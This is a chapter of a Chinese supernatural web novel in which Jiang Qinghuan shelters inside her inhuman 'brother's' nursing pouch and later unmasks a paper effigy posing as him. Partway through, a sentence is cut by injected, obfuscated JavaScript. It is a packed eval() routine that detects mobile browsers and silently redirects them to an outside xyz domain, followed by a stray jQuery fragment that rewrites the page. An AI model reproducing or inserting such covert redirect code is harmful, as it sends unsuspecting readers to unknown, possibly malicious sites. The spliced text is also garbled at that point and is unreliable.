20. 异茧

作品:《男妈妈

    湿漉漉的液体就快要溢满整个床边,江清欢立马凑上去不解的问道:“你这是在干什么?”


    卫晏池没有说话,那如波浪般的身体边缘继续往周围蔓延。


    随着哥哥变为原身,江清欢也嗅到了一股好闻且熟悉的香气,像是自己用的所有东西的结合体。香气实在是太过浓郁,也得以让她窥见哥哥的非人姿态。


    她曾赞美过哥哥的艳,现在亦是。


    祂的浑身是如黑影那般的漆黑,但并不会给人以轻飘飘的感觉。黑影的中心是深邃的一个又一个的漩涡,这会让江清欢想到科学栏目里的黑洞。只是黑洞里有星辰,而哥哥的下半身化为了一滩粘稠的液体。


    整个身体都没有规则的形状,只有那口位于小腹处的哺育袋特别明显。


    江清欢不知道自己为什么一看到这处部位,就想到了“哺育袋”这个名字,就好像是埋进了潜意识里。因为她看到的时候,就想到了袋鼠的那口袋子,所以才会匆忙起这个名字吧。


    哺育袋如今在江清欢的注视下微微鼓起,隔着透明的薄膜,江清欢看到里面盛放着自己喜欢的毛绒玩具。


    之前是放在床上的,江清欢喜欢每晚都抱着它们睡觉,可是现在这堆毛绒玩具却是出现在了哥哥的哺育袋里,江清欢猜不透哥哥究竟是何时将它们完全吞噬进去的。


    和往常那样,她看着溢满在床上的哥哥,伸手轻轻撕开了那层覆盖在哺育袋表面的薄膜。


    薄膜被破坏,内里柔软的哺育袋因为江清欢手的探入而露出了一道小口。等到袋子完全打开,江清欢直接跨入了这温暖的故乡,侧身躺进了哥哥的怀中。


    哥哥有些控制不住自己的情绪了,祂发出了满意的尖叫,连带着哺育袋都因为祂的声音而变得颤抖。


    同一时间里,紧贴在哺育袋内壁的江清欢,感觉到有什么东西从内里伸了出来,柔软的将自己完全包裹住了。


    湿润温暖的地带里,江清欢能听到哥哥在与自己对话。


    祂的咬字非常奇怪,就像是初学者第一次开口学习语言,尾音奇异的扬起,每一个字的发音都落在了江清欢意想不到的地方。


    但是她听得很清楚,因为哥哥的回音响彻在了整个哺育袋内。


    “不要怕不要怕,哥哥已经帮你全部解决了,没关系的,没事的…”


    “不要担心,这些事情我都会帮你解决,宝宝就放心的入睡吧。”


    ……


    越来越多的话语在哺育袋内回荡,江清欢听来中心思想无非就是一个。声音震动着哺育袋的内壁,让她感觉非常不舒服。


    伸手戳动着缠绕在身上的触手,她直接用手指破开了那道在口器内睁开的嘴巴,尖牙迅速咬住了她的指腹,江清欢冷冷开口:


    “闭嘴,真的很吵。”


    哺育袋内安静下来了,水流涌动的声音会让江清欢想到海边,想到很久以前听过的入睡白噪音。


    她完全贴在了内壁上,感受着哥哥过慢的呼吸,沉沉睡了过去。


    江清欢没能在哥哥的哺育袋里躺太多时间。


    敲门的声音不断,摆着一副仿佛不开门就不会罢休的架势。江清欢打了个哈欠,她还沉浸在哺育袋的温和里,直接撕开哺育袋出去的时候,江清欢听到了哥哥痛苦的闷哼。


    她摸了摸哺育袋的表面权当做是安慰,下一秒已经把门打开。


    门外站着的人是林静云。


    她的神情古怪,手里拿着一串钥匙。见江清欢开了门,她将钥匙递到了面前,立马开口:“这是当初换锁了以后你给我的钥匙,但是我刚刚发现怎么开都不能开过来。锁就和换了一样,你换锁了吗?”


    当初这房子里的锁早已生锈老化,为了安全着想,江清欢当天就换了新锁,将备用钥匙给了几位熟悉的人后,此后她就再没有换锁过。


    可是眼下,林姨说自己的钥匙打不开…


    江清欢直接拿过了那串钥匙,仔细端详着。


    钥匙还是老样子,林姨喜欢把所有的钥匙都串在一起,再点缀上几个小小的木葫芦。既然钥匙没有坏,江清欢狐疑的回头看了一眼门上的锁。


    锁完好如初,江清欢又凝视着漆黑的锁孔,那里也并没有被异物堵上。全都观察了一遍过后,她回复了林姨:“我没有换锁,是不是锁老了,接触不好。”


    “那就奇怪了。”林姨喃喃着,又将钥匙插入了锁孔。往左扭转半圈,这次的锁很成功就能打开。


    她看着打开的门神情愈发古怪,又抬头瞥了一眼门后的世界,低头凑到了江清欢的身边,声音被刻意压低缩小:


    “江清欢,你现在方便吗?”


    江清欢瞥了一眼还在捂着小腹露出痛苦神色的哥哥,朝着林静云提了个建议:“要不我们出去说吧?”


    “就在这里,我没有进门。”林静云叹了口气,又补充上了一句:“我能感知到祂的气息。进入就等同于与祂做了场交易。”


    林静云站在门口,江清欢注意到身后的哥哥又变回了最初人类的模样。乖乖坐在了沙发上,甚至双手还妥帖的放在了膝盖。


    门外的林静云扫视了一圈屋子,突然看着江清欢,问了一个风马牛不相及的问题:“你觉得你的邻居们怎么样?”


    江清欢有些疑惑,在短暂的思考过后她回复了林姨:“虽然交集不多,但邻居都是很好的人。”


    “那如果邻居不是人呢?我的意思是你住的地方实际上是一栋鬼楼,你住到现在浑然不知吗?”


    “不可能。那为什么之前,之前我就该有感觉的…”


    林静云举起了自己的那串钥匙,江清欢注意到本来挂在钥匙上的木葫芦,已经演变成了几块小小的符咒。符咒上的花纹繁杂而诡谲,林静云直直的盯着她的眼眸,一字一句开口了:


    “我今天刚巧去算卦,算出了你的不对劲,所以我才过来的,之前你住在这里都没有感觉吗?我是来帮你的,清欢,快点欢迎我进去。”


    “不对,我住进来的时候明明你们都做过了驱鬼仪式,不可能存在这种情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629152|171769||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    况。”江清欢下意识地往沙发上看去。


    哥哥不在那里了,沙发垫平整如初,仿佛从未有人来过。


    江清欢下意识地捏起了自己的掌心,尖锐的疼痛在提醒她一切都是真实的,可恍然醒悟察觉到的时候,又感觉这些都只是一场梦境。


    她闭上眼睛思索了片刻,再一次睁眼时,眼前的一切都恢复了该有的清明。而哥哥正站在自己的面前,一脸关切:


    “我刚刚叫你了好几声,你怎么没有回答我?你怎么了?”


    江清欢伸手探了探自己的额头。说来也奇怪,往往遇到这种情况的时候,她的身体多半都会发起低烧。


    她抬头看向了哥哥,立即询问:“我刚刚怎么了?”


    卫晏池回答的很快,描述的也是绘声绘色:“你刚才就是一脸茫然,我怎么叫你,你都不说话,整个人都处于了一种放空状态。”


    江清欢没有回答,继续观察起了卫晏池。


    这是哥哥好不容易流畅的说出了完整的几句话,她定定地看着面前的哥哥,后者见她终于注意到了自己,变本加厉起来,甚至声音都无比焦急:


    “回答我宝宝,你到底怎么回事?回答我回答我…”


    答案呼之欲出。江清欢冷眼看着面前的“哥哥”,祂靠着自己实在是太近,也得以让她有了可乘之机。


    她伸手贯穿了哥哥的腹部,过于柔软的触感顿时传遍了全身。突如其来的冲击让“哥哥”的面容在迅速变化,祂后退几步想要逃离江清欢的梏桎,嗬嗬嗬的直喘气。


    江清欢打破了遮掩住面前的烟雾,所有的一切都最终变为了真实。


    她的手还插在“哥哥”的腹部,只是内里没有任何东西的流出。没有血液没有任何组织,随着她手的深入,“哥哥”的脸也迅速膨胀起来。


    那才是祂本真的脸,那并不是江清欢认识的哥哥,那只是一张披着脸皮的大红大绿的纸人。


    纸人的两枚眼睛非常细长,眼眶完全合上,江清欢看不到眼球的存在。而今,江清欢感觉到插入腹部的手也传来了触碰到纸张的毛糙感,她抬头看着终于露出真实面貌的纸人,冷笑着开口了:


    “卫晏池从来都不会这样对我说话。”


    探入的手开始往暗处蔓延,待到终于寻到了那一抹光明后,江清欢发现自己已经捅穿了纸人的肚子。


    纸人只是瘦长的一根,本就没有小腹与肚子的区分。冰冷的温度传递到了小臂,面前的纸人也因为被江清欢彻底识破了自己的伪装,而整个都变得轻飘飘了起来。


    它的五官显得扭曲而模糊,而蹂躏成一团的双手在江清欢的动作下机械的摇晃着。周围的一切都在崩坏重组,像是剥落的大块大块灰白色的墙皮随风坠落。


    纸人邪笑着,往后退了几步。江清欢的手离开了它的身体,她的手里空无一物。


    它的身体大敞,属于肚子的位置被江清欢剖开了一个巨大的口。


    内里空无一物,甚至属于纸张该有的色彩也完全没有。